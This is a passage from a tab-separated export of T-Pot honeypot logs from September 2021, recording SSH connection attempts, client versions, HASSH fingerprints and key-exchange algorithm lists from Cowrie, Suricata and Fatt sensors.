"enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39436, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.823169Z", "@timestamp": "2021-09-20T11:06:59.823Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22505	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.445878+03	2021-09-20 14:15:06.30147+03	{"_id": "cwbjAnwBvYTbRNuEQQWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:38418 (192.168.176.2:22) [session: 866f50c91ccd]", "session": "866f50c91ccd", "@version": "1", "protocol": "ssh", "src_port": 38418, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.445878Z", "@timestamp": "2021-09-20T11:06:59.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22506	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.448693+03	2021-09-20 14:15:06.30247+03	{"_id": "YQbjAnwBvYTbRNuEQQWf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "866f50c91ccd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:59.448693Z", "@timestamp": "2021-09-20T11:06:59.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22507	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.59491+03	2021-09-20 14:15:06.303471+03	{"_id": "YgbjAnwBvYTbRNuEQQWf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9d8dc00085e5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:59.594910Z", "@timestamp": "2021-09-20T11:06:59.594Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22508	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:59.620705+03	2021-09-20 14:15:06.305471+03	{"_id": "bgbjAnwBvYTbRNuEQQWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48902, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.620705", "@timestamp": "2021-09-20T11:06:59.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22509	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:59.676186+03	2021-09-20 14:15:06.306471+03	{"_id": "egbjAnwBvYTbRNuEQQWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45958, "timestamp": "2021-09-20T11:06:59.676186", "@timestamp": "2021-09-20T11:06:59.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22510	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:01.311077+03	2021-09-20 14:15:06.30747+03	{"_id": "1wbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:50652 (192.168.176.2:22) [session: fb1ccce9b35a]", "session": "fb1ccce9b35a", "@version": "1", "protocol": "ssh", "src_port": 50652, "dest_port": 22, "timestamp": "2021-09-20T11:07:01.311077Z", "@timestamp": "2021-09-20T11:07:01.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22511	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:02.05873+03	2021-09-20 14:15:06.308471+03	{"_id": "2QbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38404 (192.168.176.2:22) [session: ed81c353bb43]", "session": "ed81c353bb43", "@version": "1", "protocol": "ssh", "src_port": 38404, "dest_port": 22, "timestamp": "2021-09-20T11:07:02.058730Z", "@timestamp": "2021-09-20T11:07:02.058Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22512	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:01.430873+03	2021-09-20 14:15:06.309471+03	{"_id": "yQbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fb1ccce9b35a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:01.430873Z", "@timestamp": "2021-09-20T11:07:01.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22513	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:01.801836+03	2021-09-20 14:15:06.311471+03	{"_id": "zwbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "907cfc66644a", "@version": "1", "duration": 2.454456090927124, "timestamp": "2021-09-20T11:07:01.801836Z", "@timestamp": "2021-09-20T11:07:01.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22514	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:01.724249+03	2021-09-20 14:15:06.31247+03	{"_id": "0QbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "31847e4bc254", "@version": "1", "duration": 2.4332141876220703, "timestamp": "2021-09-20T11:07:01.724249Z", "@timestamp": "2021-09-20T11:07:01.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22515	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:57.636951+03	2021-09-20 14:15:06.313471+03	{"_id": "sQbjAnwBvYTbRNuEOAR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 920000975123249, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45478, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.636951Z", "@timestamp": "2021-09-20T11:06:57.636Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22516	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:57.327852+03	2021-09-20 14:15:06.31447+03	{"_id": "sAbjAnwBvYTbRNuEOAR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1774961460037743, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51052, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.327852Z", "@timestamp": "2021-09-20T11:06:57.327Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22517	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:57.492615+03	2021-09-20 14:15:06.31547+03	{"_id": "rwbjAnwBvYTbRNuEOAR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1906256462869813, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54548, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.492615Z", "@timestamp": "2021-09-20T11:06:57.492Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22518	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:58.069714+03	2021-09-20 14:15:06.316469+03	{"_id": "sgbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38348 (192.168.176.2:22) [session: ef2667f17182]", "session": "ef2667f17182", "@version": "1", "protocol": "ssh", "src_port": 38348, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.069714Z", "@timestamp": "2021-09-20T11:06:58.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22519	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:57.425363+03	2021-09-20 14:15:06.31847+03	{"_id": "wQbjAnwBvYTbRNuEOQTN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:58974 (192.168.176.2:22) [session: 51582960f84d]", "session": "51582960f84d", "@version": "1", "protocol": "ssh", "src_port": 58974, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.425363Z", "@timestamp": "2021-09-20T11:06:57.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22520	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:57.76762+03	2021-09-20 14:15:06.319471+03	{"_id": "yAbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:34950 (192.168.176.2:22) [session: ab4c74b72514]", "session": "ab4c74b72514", "@version": "1", "protocol": "ssh", "src_port": 34950, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.767620Z", "@timestamp": "2021-09-20T11:06:57.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22521	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:57.428096+03	2021-09-20 14:15:06.320471+03	{"_id": "tgbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "51582960f84d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:57.428096Z", "@timestamp": "2021-09-20T11:06:57.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22522	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:58.060218+03	2021-09-20 14:15:06.321471+03	{"_id": "vAbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", 